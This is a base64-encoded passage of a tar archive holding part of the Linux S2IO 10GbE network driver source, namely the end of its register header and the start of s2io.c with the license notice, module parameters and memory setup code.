eDI4MDAtMHgyNzA4XTsJLyogQ0hBTkdFRCAqLwoKLyogbWVtb3J5IGNvbnRyb2xsZXIgcmVnaXN0 ZXJzICovCiAgICAgICAgdTY0IG1jX2ludF9zdGF0dXM7CiNkZWZpbmUgTUNfSU5UX1NUQVRVU19N Q19JTlQgICAgICAgICAgICAgICBCSVQoMCkKICAgICAgICB1NjQgbWNfaW50X21hc2s7CiNkZWZp bmUgTUNfSU5UX01BU0tfTUNfSU5UICAgICAgICAgICAgICAgICBCSVQoMCkKCiAgICAgICAgdTY0 IG1jX2Vycl9yZWc7CiNkZWZpbmUgTUNfRVJSX1JFR19FQ0NfREJfRVJSX0wgICAgICAgICAgICBC SVQoMTQpCiNkZWZpbmUgTUNfRVJSX1JFR19FQ0NfREJfRVJSX1UgICAgICAgICAgICBCSVQoMTUp CiNkZWZpbmUgTUNfRVJSX1JFR19NSVJJX0NSSV9FUlJfMCAgICAgICAgICBCSVQoMjIpCiNkZWZp bmUgTUNfRVJSX1JFR19NSVJJX0NSSV9FUlJfMSAgICAgICAgICBCSVQoMjMpCiNkZWZpbmUgTUNf RVJSX1JFR19TTV9FUlIgICAgICAgICAgICAgICAgICBCSVQoMzEpCiAgICAgICAgdTY0IG1jX2Vy cl9tYXNrOwogICAgICAgIHU2NCBtY19lcnJfYWxhcm07CgogICAgICAgIHU4IHVudXNlZDE4WzB4 MTAwLTB4MjhdOwogICAgICAgIAovKiBNQyBjb25maWd1cmF0aW9uICovCiAgICAgICAgdTY0IHJ4 X3F1ZXVlX2NmZzsKI2RlZmluZSBSWF9RVUVVRV9DRkdfUTBfU1oobikgICAgICAgICAgICAgIHZC SVQobiwwLDgpCiNkZWZpbmUgUlhfUVVFVUVfQ0ZHX1ExX1NaKG4pICAgICAgICAgICAgICB2QklU KG4sOCw4KQojZGVmaW5lIFJYX1FVRVVFX0NGR19RMl9TWihuKSAgICAgICAgICAgICAgdkJJVChu LDE2LDgpCiNkZWZpbmUgUlhfUVVFVUVfQ0ZHX1EzX1NaKG4pICAgICAgICAgICAgICB2QklUKG4s MjQsOCkKI2RlZmluZSBSWF9RVUVVRV9DRkdfUTRfU1oobikgICAgICAgICAgICAgIHZCSVQobiwz Miw4KQojZGVmaW5lIFJYX1FVRVVFX0NGR19RNV9TWihuKSAgICAgICAgICAgICAgdkJJVChuLDQw LDgpCiNkZWZpbmUgUlhfUVVFVUVfQ0ZHX1E2X1NaKG4pICAgICAgICAgICAgICB2QklUKG4sNDgs OCkKI2RlZmluZSBSWF9RVUVVRV9DRkdfUTdfU1oobikgICAgICAgICAgICAgIHZCSVQobiw1Niw4 KQoKICAgICAgICB1NjQgbWNfcmxkcmFtX21yczsKI2RlZmluZQlNQ19STERSQU1fUVVFVUVfU0la RV9FTkFCTEUJCQlCSVQoMzkpCiNkZWZpbmUJTUNfUkxEUkFNX01SU19FTkFCTEUJCQkJQklUKDQ3 KQoKICAgICAgICB1NjQgbWNfcmxkcmFtX2ludGVybGVhdmU7CgogICAgICAgIHU2NCBtY19wYXVz ZV90aHJlc2hfcTBxMzsKICAgICAgICB1NjQgbWNfcGF1c2VfdGhyZXNoX3E0cTc7CgogICAgICAg IHU2NCBtY19yZWRfdGhyZXNoX3FbOF07CgogICAgICAgIHU4IHVudXNlZDE5WzB4MjAwLTB4MTY4 XTsNCgkJdTY0IG1jX3JsZHJhbV9yZWZfcGVyOwogICAgICAgIHU4IHVudXNlZDIwWzB4MjIwLTB4 MjA4XTsNCgkJdTY0IG1jX3JsZHJhbV90ZXN0X2N0cmw7CiNkZWZpbmUgTUNfUkxEUkFNX1RFU1Rf TU9ERQkJQklUKDQ3KQojZGVmaW5lIE1DX1JMRFJBTV9URVNUX1dSSVRFCUJJVCg3KQojZGVmaW5l IE1DX1JMRFJBTV9URVNUX0dPCQlCSVQoMTUpCiNkZWZpbmUgTUNfUkxEUkFNX1RFU1RfRE9ORQkJ QklUKDIzKQojZGVmaW5lIE1DX1JMRFJBTV9URVNUX1BBU1MJCUJJVCgzMSkKCiAgICAgICAgdTgg dW51c2VkMjFbMHgyNDAtMHgyMjhdOw0KCQl1NjQgbWNfcmxkcmFtX3Rlc3RfYWRkOwogICAgICAg IHU4IHVudXNlZDIyWzB4MjYwLTB4MjQ4XTsNCgkJdTY0IG1jX3JsZHJhbV90ZXN0X2QwOwogICAg ICAgIHU4IHVudXNlZDIzWzB4MjgwLTB4MjY4XTsNCgkJdTY0IG1jX3JsZHJhbV90ZXN0X2QxOwog ICAgICAgIHU4IHVudXNlZDI0WzB4MzAwLTB4Mjg4XTsNCgkJdTY0IG1jX3JsZHJhbV90ZXN0X2Qy OwogICAgICAgIHU4IHVudXNlZDI1WzB4NzAwLTB4MzA4XTsNCiAgICAgICAgCiAgICAgICAgdTY0 IG1jX2RlYnVnX2N0cmw7CS8qIFRPRE86IEluIDEuNSBzcGVjIHRoaXMgcmVnaXN0ZXIgaXMgbWlz c2luZy4gKi8KICAgICAgICAKICAgICAgICB1OCB1bnVzZWQyNlsweDMwMDAtMHgyZjA4XTsKICAg ICAgICAKLyogWEdYRyAqLwogICAgICAgIC8qIFhHWFMgY29udHJvbCByZWdpc3RlcnMgKi8gCgog ICAgICAgIHU2NCB4Z3hzX2ludF9zdGF0dXM7CiNkZWZpbmUgWEdYU19JTlRfU1RBVFVTX1RYR1hT ICAgICAgICAgICAgICBCSVQoMCkKI2RlZmluZSBYR1hTX0lOVF9TVEFUVVNfUlhHWFMgICAgICAg ICAgICAgIEJJVCgxKQogICAgICAgIHU2NCB4Z3hzX2ludF9tYXNrOwojZGVmaW5lIFhHWFNfSU5U X01BU0tfVFhHWFMgICAgICAgICAgICAgICAgQklUKDApCiNkZWZpbmUgWEdYU19JTlRfTUFTS19S WEdYUyAgICAgICAgICAgICAgICBCSVQoMSkKCiAgICAgICAgdTY0IHhneHNfdHhneHNfZXJyX3Jl ZzsKI2RlZmluZSBUWEdYU19FQ0NfREJfRVJSICAgICAgICAgICAgICAgICAgIEJJVCgxNSkKICAg ICAgICB1NjQgeGd4c190eGd4c19lcnJfbWFzazsKICAgICAgICB1NjQgeGd4c190eGd4c19lcnJf YWxhcm07CgogICAgICAgIHU2NCB4Z3hzX3J4Z3hzX2Vycl9yZWc7CiAgICAgICAgdTY0IHhneHNf cnhneHNfZXJyX21hc2s7CiAgICAgICAgdTY0IHhneHNfcnhneHNfZXJyX2FsYXJtOwoKICAgICAg ICB1OCB1bnVzZWQyN1sweDEwMC0weDQwXTsgCgogICAgICAgIHU2NCB4Z3hzX2NmZzsKICAgICAg ICB1NjQgeGd4c19zdGF0dXM7CgogICAgICAgIHU2NCB4Z3hzX2NmZ19rZXk7Cgl1NjQgeGd4c19l Zmlmb19jZmc7CS8qIENIQU5HRUQgKi8KCXU2NCByeGd4c19iZXJfMDsJLyogQ0hBTkdFRCAqLwog ICAgICAgIHU2NCByeGd4c19iZXJfMTsJLyogQ0hBTkdFRCAqLwoKfSBYRU5BX2Rldl9jb25maWdf dDsKCiNkZWZpbmUgWEVOQV9SRUdfU1BBQ0UJc2l6ZW9mKFhFTkFfZGV2X2NvbmZpZ190KQojZGVm aW5lCVhFTkFfRUVQUk9NX1NQQUNFICgweDAxIDw8IDExKQoKI2VuZGlmIAkvKiBfUkVHU19IICov Ci8qCiAqJExvZzogcmVncy5oLHYgJAogKlJldmlzaW9uIDEuMjEgIDIwMDQvMDEvMTkgMDk6NTE6 MDkgIHJrb3VzaGlrCiAqQnVnOiA1OTgKICogQWRkZWQgR1BMIG5vdGljZXMgb24gdGhlIGRyaXZl ciBzb3VyY2UgZmlsZXMsIG5hbWVseQogKnMyaW8uYywgczJpby5oIGFuZCByZWdzLmgKICoKICpL b3VzaGlrCiAqCiAqUmV2aXNpb24gMS4yMCAgMjAwMy8xMi8zMCAxMzowMzozMiAgcmtvdXNoaWsK ICpCdWc6IDE3NwogKlRoZSBkcml2ZXIgaGFzIGJlZW4gdXBkYXRlZCB3aXRoIHN1cHBvcnQgZm9y IGZ1bnRpb25hbGl0aWVzIGluIGV0aHRvb2wKICp2ZXJzaW9uIDEuOC4gSW50ZXJydXB0IG1vZGVy YXRpb24gaGFzIGJlZW4gc2tpcHBlZCBhcyB0aGUgbWV0aG9kb2xvZ3kgdG8KICpzZXQgaXQgdXNp bmcgZXRodG9vbCBpcyBkaWZmZXJlbnQgdG8gb3VyIG1ldGhvZG9sb2d5LgogKgogKi1Lb3VzaGlr CiAqCiAqUmV2aXNpb24gMS4xOSAgMjAwMy8xMi8wMSAyMjowMjozOCAgdWtpcmFuCiAqQnVnOjUx MAogKkNsZWFudXAgb2YgDSBjaGFycwogKgogKlJldmlzaW9uIDEuMTggIDIwMDMvMTEvMDQgMDI6 MDY6NDcgIHVraXJhbgogKkJ1Zzo0ODQKICpFbmFibGluZyBMb2dzIGluIHNvdXJjZSBjb2RlCiAq CiAqLwoKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAC4vczJpby5jAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAwMTAwNjQ0ADAwMDAwMDAAMDAwMDAwMAAwMDAwMDQxNzU3NQAxMDAwMzA0NDExNAAw MTA3NDAAIDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdXN0YXIg IAByb290AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHJvb3QAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAALyoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKgogKiBzMmlvLmM6IEEgTGludXgg UENJLVggRXRoZXJuZXQgZHJpdmVyIGZvciBTMklPIDEwR2JFIFNlcnZlciBOSUMKICogQ29weXJp Z2h0IDIwMDIgUmFnaGF2ZW5kcmEgS291c2hpayAocmFnaGF2ZW5kcmEua291c2hpa0BzMmlvLmNv bSkKCiAqIFRoaXMgc29mdHdhcmUgbWF5IGJlIHVzZWQgYW5kIGRpc3RyaWJ1dGVkIGFjY29yZGlu ZyB0byB0aGUgdGVybXMgb2YKICogdGhlIEdOVSBHZW5lcmFsIFB1YmxpYyBMaWNlbnNlIChHUEwp LCBpbmNvcnBvcmF0ZWQgaGVyZWluIGJ5IHJlZmVyZW5jZS4KICogRHJpdmVycyBiYXNlZCBvbiBv ciBkZXJpdmVkIGZyb20gdGhpcyBjb2RlIGZhbGwgdW5kZXIgdGhlIEdQTCBhbmQgbXVzdAogKiBy ZXRhaW4gdGhlIGF1dGhvcnNoaXAsIGNvcHlyaWdodCBhbmQgbGljZW5zZSBub3RpY2UuICBUaGlz IGZpbGUgaXMgbm90CiAqIGEgY29tcGxldGUgcHJvZ3JhbSBhbmQgbWF5IG9ubHkgYmUgdXNlZCB3 aGVuIHRoZSBlbnRpcmUgb3BlcmF0aW5nCiAqIHN5c3RlbSBpcyBsaWNlbnNlZCB1bmRlciB0aGUg R1BMLgogKiBTZWUgdGhlIGZpbGUgQ09QWUlORyBpbiB0aGlzIGRpc3RyaWJ1dGlvbiBmb3IgbW9y ZSBpbmZvcm1hdGlvbi4KICoKICoKICogVGhlIG1vZHVsZSBsb2FkYWJsZSBwYXJhbWV0ZXJzIHRo YXQgYXJlIHN1cHBvcnRlZCBieSB0aGUgZHJpdmVyIGFuZCBhIGJyaWVmCiAqIGV4cGxhaW5hdGlv biBvZiBhbGwgdGhlIHZhcmlhYmxlcy4KICogcmluZ19udW0gOiBUaGlzIGNhbiBiZSB1c2VkIHRv IHByb2dyYW0gdGhlIG51bWJlciBvZiByZWNlaXZlIHJpbmdzIHVzZWQgCiAqIGluIHRoZSBkcml2 ZXIuICAJCQkJCQogKiBmcmFtZV9sZW46IFRoaXMgaXMgYW4gYXJyYXkgb2Ygc2l6ZSA4LiBVc2lu ZyB0aGlzIHdlIGNhbiBzZXQgdGhlIG1heGltdW0gCiAqIHNpemUgb2YgdGhlIHJlY2VpdmVkIGZy YW1lIHRoYXQgY2FuIGJlIHN0ZWVyZWQgaW50byB0aGUgY29ycnNwb25kaW5nIAogKiByZWNlaXZl IHJpbmcuCiAqIHJpbmdfbGVuOiBUaGlzIGRlZmluZXMgdGhlIG51bWJlciBvZiBkZXNjcmlwdG9y cyBlYWNoIHJpbmcgY2FuIGhhdmUuIFRoaXMgCiAqIGlzIGFsc28gYW4gYXJyYXkgb2Ygc2l6ZSA4 LgogKiBmaWZvX251bTogVGhpcyBkZWZpbmVzIHRoZSBudW1iZXIgb2YgVHggRklGT3MgdGhhdHMg dXNlZCBpbnQgdGhlIGRyaXZlci4KICogZmlmb19sZW46IFRoaXMgdG9vIGlzIGFuIGFycmF5IG9m IDguIEVhY2ggZWxlbWVudCBkZWZpbmVzIHRoZSBudW1iZXIgb2YgCiAqIFR4IGRlc2NyaXB0b3Jz IHRoYXQgY2FuIGJlIGFzc29jaWF0ZWQgd2l0aCBlYWNoIGNvcnJlc3BvbmRpbmcgRklGTy4KICog bGF0ZW5jeV90aW1lcjogVGhpcyBpbnB1dCBpcyBwcm9ncmFtbWVkIGludG8gdGhlIExhdGVuY3kg dGltZXIgcmVnaXN0ZXIKICogaW4gUENJIENvbmZpZ3VyYXRpb24gc3BhY2UuCiAqKioqKioqKioq KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq KioqKiovCgojaW5jbHVkZTxsaW51eC9jb25maWcuaD4KI2luY2x1ZGU8bGludXgvbW9kdWxlLmg+ CiNpbmNsdWRlPGxpbnV4L3R5cGVzLmg+CiNpbmNsdWRlPGxpbnV4L2Vycm5vLmg+CiNpbmNsdWRl PGxpbnV4L2lvcG9ydC5oPgojaW5jbHVkZTxsaW51eC9wY2kuaD4KI2luY2x1ZGU8bGludXgva2Vy bmVsLmg+CiNpbmNsdWRlPGxpbnV4L25ldGRldmljZS5oPgojaW5jbHVkZTxsaW51eC9ldGhlcmRl dmljZS5oPgojaW5jbHVkZTxsaW51eC9za2J1ZmYuaD4KI2luY2x1ZGU8bGludXgvaW5pdC5oPgoj aW5jbHVkZTxsaW51eC9kZWxheS5oPgojaW5jbHVkZTxsaW51eC9zdGRkZWYuaD4KI2luY2x1ZGU8 bGludXgvaW9jdGwuaD4KI2luY2x1ZGU8bGludXgvdGltZXguaD4KI2luY2x1ZGU8bGludXgvc2No ZWQuaD4KI2luY2x1ZGU8bGludXgvZXRodG9vbC5oPgojaW5jbHVkZTxhc20vc3lzdGVtLmg+CiNp bmNsdWRlPGFzbS91YWNjZXNzLmg+CiNpbmNsdWRlPGxpbnV4L3ZlcnNpb24uaD4KI2luY2x1ZGU8 YXNtL2lvLmg+CgovKiBsb2NhbCBpbmNsdWRlICovCiNpbmNsdWRlICJzMmlvLmgiCiNpbmNsdWRl ICJyZWdzLmgiCiNpbmNsdWRlICJ1dGlsLmgiCgovKiBMb2FkIGRyaXZlciBhcyBhIG1vZHVsZSAq LwojZGVmaW5lIEFTX0FfTU9EVUxFCgovKiBWRU5ET1IgYW5kIERFVklDRSBJRCBvZiBYRU5BLiAq LwojZGVmaW5lIFBDSV9WRU5ET1JfSURfUzJJTyAgICAgIDB4MTdENQojZGVmaW5lIFBDSV9ERVZJ Q0VfSURfUzJJT19XSU4gIDB4NTczMQojZGVmaW5lIFBDSV9ERVZJQ0VfSURfUzJJT19VTkkgIDB4 NTgzMSAgCgpzdGF0aWMgY2hhciBzMmlvX2RyaXZlcl9uYW1lW10gPSAiUzJJTyI7CiNpZm5kZWYg U0VUX05FVERFVl9ERVYKI2RlZmluZSBTRVRfTkVUREVWX0RFVihhLCBiKQlkbyB7fSB3aGlsZSgw KQojZW5kaWYKCi8qIFJ4IFJvdW5kIHJvYmluIHJlZ2lzdGVyJ3MgUmVzZXQgdmFsdWVzLiBUaGVz ZSBhcmUgYSBkdXBsaWNhdGUgb2YgCiAqIHRoZSBUeCByZWdpc3RlcidzIHJlc2V0IHZhbHVlcy4g U2V0dGluZyB2YWx1ZXMgaW50byB0aGVzZSByZWdpc3RlcnMKICogZGVwZW5kaW5nIG9uIHRoZSBU eCBhbmQgUnggcmluZyBzaXplcyBpcyBUT0RPLgogKi8Kc3RhdGljIHU2NCByb3VuZF9yb2Jpbl9y ZWcwID0gMHgwMDAxMDIwMzA0MDAwMTA1OwpzdGF0aWMgdTY0IHJvdW5kX3JvYmluX3JlZzEgPSAw eDAyMDAwMzAxMDYwMDAyMDQ7CnN0YXRpYyB1NjQgcm91bmRfcm9iaW5fcmVnMiA9IDB4MDEwMzAw MDUwMjAxMDAwNzsKc3RhdGljIHU2NCByb3VuZF9yb2Jpbl9yZWczID0gMHgwMzA0MDEwMDAyMDYw NTAwOwpzdGF0aWMgdTY0IHJvdW5kX3JvYmluX3JlZzQgPSAweDAxMDMwMjA0MDAwMDAwMDA7Cgov KlByb3RvdHlwZSBkZWNsYXJhdGlvbiBvZiB0aGUgdXNlZCBmdW5jdGlvbnMgKi8Kc3RhdGljIGlu dCBfX2RldmluaXQgczJpb19pbml0X25pYyhzdHJ1Y3QgcGNpX2RldiAqcGRldiwKICAgIGNvbnN0 IHN0cnVjdCBwY2lfZGV2aWNlX2lkICpwcmUpOwpzdGF0aWMgdm9pZCBfX2V4aXQgczJpb19yZW1f bmljKHN0cnVjdCBwY2lfZGV2ICpwZGV2KTsKc3RhdGljIGludCBpbml0U2hhcmVkTWVtKHN0cnVj dCBzMmlvX25pYyAqc3ApOwpzdGF0aWMgdm9pZCBmcmVlU2hhcmVkTWVtKHN0cnVjdCBzMmlvX25p YyAqc3ApOwpzdGF0aWMgaW50IGluaXROaWMoc3RydWN0IHMyaW9fbmljICpuaWMpOwojaWZuZGVm IENPTkZJR1VSRV9OQVBJX1NVUFBPUlQKc3RhdGljIHZvaWQgcnhJbnRySGFuZGxlcihzdHJ1Y3Qg czJpb19uaWMgKnNwKTsKI2VuZGlmCnN0YXRpYyB2b2lkIHR4SW50ckhhbmRsZXIoc3RydWN0IHMy aW9fbmljICpzcCk7CnN0YXRpYyB2b2lkIGFsYXJtSW50ckhhbmRsZXIoc3RydWN0IHMyaW9fbmlj ICpzcCk7CgppbnQgczJpb19zdGFydGVyKHZvaWQpOwp2b2lkIHMyaW9fY2xvc2VyKHZvaWQpOwp2 b2lkIHMyaW9fdHhfd2F0Y2hkb2coc3RydWN0IG5ldF9kZXZpY2UgKmRldik7CnZvaWQgczJpb190 YXNrbGV0KHVuc2lnbmVkIGxvbmcgZGV2X2FkZHIpOwp2b2lkIHMyaW9fc2V0X211bHRpY2FzdChz dHJ1Y3QgbmV0X2RldmljZSAqZGV2KTsKaW50IHJ4T3NtSGFuZGxlcihuaWNfdCAqc3AsdTE2IGxl bixSeERfdCAqcnhkcCxpbnQgcmluZ19ubyk7CnZvaWQgczJpb19saW5rKG5pY190ICpzcCwgaW50 IGxpbmspOwp2b2lkIHMyaW9fcmVzZXQobmljX3QgKnNwKTsKI2lmZGVmIENPTkZJR1VSRV9OQVBJ X1NVUFBPUlQKc3RhdGljIGludCBzMmlvX3BvbGwoc3RydWN0IG5ldF9kZXZpY2UgKmRldiwgaW50 ICpidWRnZXQpOwojZW5kaWYKCiNkZWZpbmUgVEFTS0xFVF9JTl9VU0UJdGVzdF9hbmRfc2V0X2Jp dCgwLCAodW5zaWduZWQgbG9uZyAqKSZzcC0+dGFza2xldF9zdGF0dXMpCiNkZWZpbmUgUEFOSUMJ MQojZGVmaW5lIExPVwkyCnN0YXRpYyBpbmxpbmUgaW50IHJ4X2J1ZmZlcl9sZXZlbChuaWNfdCAq c3AsIGludCByeGJfc2l6ZSwgaW50IHJpbmcpCnsKCWludCBsZXZlbCA9IDA7CglpZigoc3AtPnBr dF9jbnRbcmluZ10gLSByeGJfc2l6ZSkgPiAxMjgpIHsKCQlsZXZlbCA9IExPVzsKCQlpZihyeGJf c2l6ZSA8IHNwLT5wa3RfY250W3JpbmddLzgpCgkJCWxldmVsID0gUEFOSUM7Cgl9CgkKCXJldHVy biBsZXZlbDsKfQoKI2lmZGVmIENPTkZJR1VSRV9FVEhUT09MX1NVUFBPUlQKc3RhdGljIGludCBz MmlvX2V0aHRvb2woc3RydWN0IG5ldF9kZXZpY2UgKmRldiwgc3RydWN0IGlmcmVxICpycSk7Cmlu dCBldGhfdGVzdF9yY3ZyKHN0cnVjdCBza19idWZmICpza2IsIHN0cnVjdCBuZXRfZGV2aWNlICpk ZXYsIAoJc3RydWN0IHBhY2tldF90eXBlICpwdCk7CiNkZWZpbmUgRVRIX0xPT1BfVEVTVF9UWVBF CQkweDE3RDUgLyogTmVlZCB0byBvYnRhaW4gYSB2YWx1ZSBmb3IKCQkJCQkJICBvdXIgcHJpdmF0 ZSBwcm90b2NvbCBJRCBmcm9tCgkJCQkJCSAgdGhlIGNvbW11bml0eS4gKi8JCiNkZWZpbmUgRVRI X0xPT1BfVEVTVF9DTlQJCTMKI2RlZmluZSBFVEhfTE9PUF9URVNUX0RFTEFZCQkzCiNkZWZpbmUJ VEVTVF9GUk1fU0laRQkJCTB4NDAKI2RlZmluZSBURVNUX1NFUV9TSVpFCQkJMQpzdGF0aWMgc3Ry dWN0IHBhY2tldF90eXBlIGV0aHRvb2xfdGVzdCA9IAp7CgkudHlwZSA9IEVUSF9MT09QX1RFU1Rf VFlQRSwKCS5mdW5jID0gZXRoX3Rlc3RfcmN2cgp9OwkKc3RhdGljIGNoYXIgczJpb19nc3RyaW5n c1tdW0VUSF9HU1RSSU5HX0xFTl0gPSB7CiJSZWdpc3RlciB0ZXN0XHQob2ZmbGluZSkiLAoiRWVw cm9tIHRlc3RcdChvZmZsaW5lKSIsCiJMb29wIGJhY2sgdGVzdFx0KG9ubGluZSkiLAoiTGluayB0 ZXN0XHQob25saW5lKSIsCiJSTERSQU0gdGVzdFx0KG9mZmxpbmUpIiwKIkJJU1QgVGVzdFx0KG9m ZmxpbmUpIgp9OwojZGVmaW5lIFMySU9fVEVTVF9MRU4Jc2l6ZW9mKHMyaW9fZ3N0cmluZ3MpIC8g RVRIX0dTVFJJTkdfTEVOCiNkZWZpbmUgUzJJT19TVFJJTkdTX0xFTglTMklPX1RFU1RfTEVOICog RVRIX0dTVFJJTkdfTEVOCiNlbmRpZiAvKiogQ09ORklHVVJFX0VUSFRPT0xfU1VQUE9SVCAqKi8K CiNpZmRlZiBLRVJOXzI2CnN0YXRpYyBpcnFyZXR1cm5fdCBzMmlvX2lzcihpbnQgaXJxLCB2b2lk ICpkZXZfaWQsIHN0cnVjdCBwdF9yZWdzICpyZWdzKTsKI2Vsc2UKdm9pZCBzMmlvX2lzcihpbnQg aXJxLCB2b2lkICpkZXZfaWQsIHN0cnVjdCBwdF9yZWdzICpyZWdzKTsKI2VuZGlmIC8qKiBLRVJO XzI2ICoqLwoKc3RhdGljIGludCB2ZXJpZnlfeGVuYV9xdWllc2NlbmNlKHU2NCB2YWw2NCwgaW50 IGZsYWcpOwoKLyogTW9kdWxlIExvYWRhYmxlIHBhcmFtZXRlcnMuICovCnN0YXRpYyB1MzIgcmlu Z19udW07CnN0YXRpYyB1MzIgZnJhbWVfbGVuW01BWF9SWF9SSU5HU107CnN0YXRpYyB1MzIgcmlu Z19sZW5bTUFYX1JYX1JJTkdTXTsKc3RhdGljIHUzMiBmaWZvX251bTsKc3RhdGljIHUzMiBmaWZv X2xlbltNQVhfVFhfRklGT1NdOyAKc3RhdGljIHUzMiByeF9wcmlvOwpzdGF0aWMgdTMyIHR4X3By aW87CnN0YXRpYyB1OCBsYXRlbmN5X3RpbWVyPTB4ZmY7CgovKiAKICogUzJJTyBkZXZpY2UgdGFi bGUuCiAqIFRoaXMgdGFibGUgbGlzdHMgYWxsIHRoZSBkZXZpY2VzIHRoYXQgdGhpcyBkcml2ZXIg c3VwcG9ydHMuIAogKi8Kc3RhdGljIHN0cnVjdCBwY2lfZGV2aWNlX2lkIHMyaW9fdGJsW10gX19k ZXZpbml0ZGF0YT0gewoJeyBQQ0lfVkVORE9SX0lEX1MySU8sUENJX0RFVklDRV9JRF9TMklPX1dJ TiwKCQlQQ0lfQU5ZX0lELFBDSV9BTllfSUR9LAoJeyBQQ0lfVkVORE9SX0lEX1MySU8sUENJX0RF VklDRV9JRF9TMklPX1VOSSwKCQlQQ0lfQU5ZX0lELFBDSV9BTllfSUR9LAoJeyAwLH0KfTsKTU9E VUxFX0RFVklDRV9UQUJMRShwY2ksIHMyaW9fdGJsKTsKCnN0YXRpYyBzdHJ1Y3QgcGNpX2RyaXZl ciBzMmlvX2RyaXZlciA9IHsKCW5hbWU6ICAgICAgICJTMklPIiwKCWlkX3RhYmxlOiAgIHMyaW9f dGJsLAoJcHJvYmU6ICAgICAgczJpb19pbml0X25pYywKCXJlbW92ZTogICAgIHMyaW9fcmVtX25p YywKI2lmZGVmIFVOREVGSU5FRAoJc3VzcGVuZDogICAgTlVMTCwKCXJlc3VtZTogICAgIE5VTEws CiNlbmRpZiAgICAgIAp9OwoKLyogIAogKiAgSW5wdXQgQXJndW1lbnRzOiAKICogIERldmljZSBw cml2YXRlIHZhcmlhYmxlLgogKiAgUmV0dXJuIFZhbHVlOiAKICogIFNVQ0NFU1Mgb24gc3VjY2Vz cyBhbmQgYW4gYXBwcm9wcmlhdGUgLXZlIHZhbHVlIG9uIGZhaWx1cmUuCiAqICBEZXNjcmlwdGlv bjogCiAqICBUaGUgZnVuY3Rpb24gYWxsb2NhdGVzIHRoZSBhbGwgbWVtb3J5IGFyZWFzIHNoYXJl ZCAKICogIGJldHdlZW4gdGhlIE5JQyBhbmQgdGhlIGRyaXZlci4gVGhpcyBpbmNsdWRlcyBUeCBk ZXNjcmlwdG9ycywgCiAqICBSeCBkZXNjcmlwdG9ycyBhbmQgdGhlIHN0YXRpc3RpY3MgYmxvY2su CiAqLwpzdGF0aWMgaW50IGluaXRTaGFyZWRNZW0oc3RydWN0IHMyaW9fbmljICpuaWMpCnsKCXUz MiBzaXplOwoJdm9pZCAqdG1wX3ZfYWRkciwgKnRtcF92X2FkZHJfbmV4dDsKCWRtYWFkZHJfdCAg IHRtcF9wX2FkZHIsIHRtcF9wX2FkZHJfbmV4dDsKCVJ4RF9ibG9ja190ICpwcmVfcnhkX2JsayA9 IE5VTEw7CglpbnQgaSxqLCBibGtfY250OwoJc3RydWN0IG5ldF9kZXZpY2UgKmRldiA9IG5pYy0+ ZGV2OwoJI2lmZGVmIEFSQ0hfUFBDNjQKCWRtYV9hZGRyX3QgcGh5X2FsbG9jOwoJI2VuZGlmCgoK CW5pYy0+X2ZSZXNvdXJjZSA9IDA7Ci8qIEFsbG9jYXRpb24gYW5kIGluaXRpYWxpemF0aW9uIG9m IFRYRExzIGluIEZJT0ZzICovCglzaXplID0gMDsKCWZvcihpPTA7IGk8bmljLT5jb25maWcuVHhG SUZPTnVtOyBpKyspIHsKCQlzaXplICs9IG5pYy0+Y29uZmlnLlR4Q2ZnW2ldLkZpZm9MZW47Cgl9 CglpZihzaXplID4gTUFYX0FWQUlMQUJMRV9UWERTKSB7CgkJREJHX1BSSU5UKEVSUl9EQkcsIiVz OiBUb3RhbCBudW1iZXIgb2YgVHggRklGT3MgIixkZXYtPm5hbWUpOwoJCURCR19QUklOVChFUlJf REJHLCJleGNlZWRzIHRoZSBtYXhpbXVtIHZhbHVlICIpOwoJCURCR19QUklOVChFUlJfREJHLCJ0 aGF0IGNhbiBiZSB1c2VkXG4iKTsKCQlyZXR1cm4gRkFJTFVSRTsJCgl9CglzaXplICo9IChzaXpl b2YoVHhEX3QpICogbmljLT5jb25maWcuTWF4VHhEcyk7CgoJI2lmZGVmIEFSQ0hfUFBDNjQKCW5p 